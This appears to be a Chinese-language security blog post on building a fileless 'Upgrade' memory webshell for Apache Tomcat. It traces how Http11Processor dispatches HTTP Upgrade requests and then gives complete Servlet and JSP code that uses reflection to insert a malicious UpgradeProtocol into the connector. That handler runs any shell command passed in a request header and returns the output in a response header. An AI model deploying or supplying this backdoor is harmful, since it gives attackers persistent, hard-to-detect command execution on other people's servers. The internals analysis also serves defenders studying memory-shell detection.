Preparation
中间件型内存马Upgrade依旧还是基于Connector的内存马注入,在中间件型内存马Executor中,利用的是ProtocolHandler中的Endpoint里的Executor组件,而Upgrade利用的是ProtocolHandler的另一个组成部分,即Processor里的Upgrade组件。

Process Analysis
Processor是一个接口,针对的不同协议,有着不同的具体实现类,由于采用的是HTTP协议,因此来看看org.apache.coyote.http11.Http11Processor。

Http11Processor在处理Upgrade时,会执行以下的步骤:
- Http11Processor#service方法会检查请求头中的Connection字段的值是否包含upgrade;
- 若请求头中的Connection字段的值包含upgrade,则会调用request#getHeader方法来获取请求头Upgrade,并根据获取到的结果来选择对应的Upgrade对象;
- 当upgradeProtocol不为空时,调用该对象的accept方法。
因此,可以尝试在accept方法中插入恶意代码来达到命令执行的目的。

接下来看看httpUpgradeProtocols是怎么获取的,在Http11Processor初始化阶段,会对httpUpgradeProtocols赋值。

而在org.apache.coyote.http11.AbstractHttp11Protocol#createProcessor方法中会实例化一个Http11Processor对象,将httpUpgradeProtocols传入。

继续跟进看看org.apache.coyote.http11.AbstractHttp11Protocol中在何处对httpUpgradeProtocols进行了赋值,跟进org.apache.coyote.http11.AbstractHttp11Protocol#configureUpgradeProtocol方法,这里将httpUpgradeName和upgradeProtocol添加到httpUpgradeProtocols的HashMap中。

因此,通过反射调用将httpUpgradeProtocols添加一项,即可实现Upgrade内存马。通过下断点,找到一处httpUpgradeProtocols,实现路径request->request->connector->protocolHandler->httpUpgradeProtocols。

Achievement
Idea
动态注册Upgrade内存马的具体思路如下:
- 获取httpUpgradeProtocols属性;
- 创建一个恶意的upgradeProtocol;
- 将恶意的upgradeProtocol插入到httpUpgradeProtocols中。
Dynamic Registration
Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| package servlet;
import org.apache.catalina.connector.Connector; import org.apache.coyote.*; import org.apache.coyote.http11.Http11NioProtocol; import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; import org.apache.tomcat.util.net.SocketWrapperBase;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Scanner;
@WebServlet(name = "UpgradeMemoryShellServlet", value = "/UpgradeMemoryShellServlet") public class UpgradeMemoryShellServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { super.doGet(request, response); }
@Override protected void doPost(HttpServletRequest request, HttpServletResponse response) { try { Object request1 = getField(request, "request"); Connector connector = (Connector) getField(request1, "connector"); Http11NioProtocol protocolHandler = (Http11NioProtocol) getField(connector, "protocolHandler"); HashMap httpUpgradeProtocols = (HashMap) getField(protocolHandler, "httpUpgradeProtocols"); httpUpgradeProtocols.put("H3rmesk1t", new EvilUpgrade()); response.getWriter().println("Upgrade Inject Successfully..."); } catch (Exception e) { e.printStackTrace(); } }
class EvilUpgrade implements UpgradeProtocol { @Override public String getHttpUpgradeName(boolean isSecure) { return null; }
@Override public byte[] getAlpnIdentifier() { return new byte[0]; }
@Override public String getAlpnName() { return null; }
@Override public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) { return null; }
@Override public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) { return null; }
@Override public boolean accept(Request request) { String cmd = request.getHeader("set-reference"); try { if (cmd != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : "";
Response response = (Response) getField(request, "response"); response.addHeader("set-message", new String(output.getBytes(), StandardCharsets.UTF_8)); } } catch (Exception e) { e.printStackTrace(); } return false; } }
public Object getField(Object obj, String field) { Class clazz = obj.getClass(); while (clazz != Object.class) { try { Field declaredField = clazz.getDeclaredField(field); declaredField.setAccessible(true); return declaredField.get(obj); } catch (Exception e) { clazz = clazz.getSuperclass(); } } return null; } }
|

JSP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.nio.charset.StandardCharsets" %> <%@ page import="org.apache.catalina.connector.Connector" %> <%@ page import="org.apache.coyote.http11.Http11NioProtocol" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %> <%@ page import="org.apache.coyote.*" %> <%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%! class EvilUpgrade implements UpgradeProtocol { @Override public String getHttpUpgradeName(boolean isSecure) { return null; }
@Override public byte[] getAlpnIdentifier() { return new byte[0]; }
@Override public String getAlpnName() { return null; }
@Override public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) { return null; }
@Override public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) { return null; }
@Override public boolean accept(Request request) { String cmd = request.getHeader("set-reference"); try { if (cmd != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : "";
Response response = (Response) getField(request, "response"); response.addHeader("set-message", new String(output.getBytes(), StandardCharsets.UTF_8)); } } catch (Exception e) { e.printStackTrace(); } return false; } }
public Object getField(Object obj, String field) { Class clazz = obj.getClass(); while (clazz != Object.class) { try { Field declaredField = clazz.getDeclaredField(field); declaredField.setAccessible(true); return declaredField.get(obj); } catch (Exception e) { clazz = clazz.getSuperclass(); } } return null; } %>
<% Object request1 = getField(request, "request"); Connector connector = (Connector) getField(request1, "connector"); Http11NioProtocol protocolHandler = (Http11NioProtocol) getField(connector, "protocolHandler"); HashMap httpUpgradeProtocols = (HashMap) getField(protocolHandler, "httpUpgradeProtocols"); httpUpgradeProtocols.put("H3rmesk1t", new EvilUpgrade()); response.getWriter().println("Upgrade Inject Successfully..."); %>
|
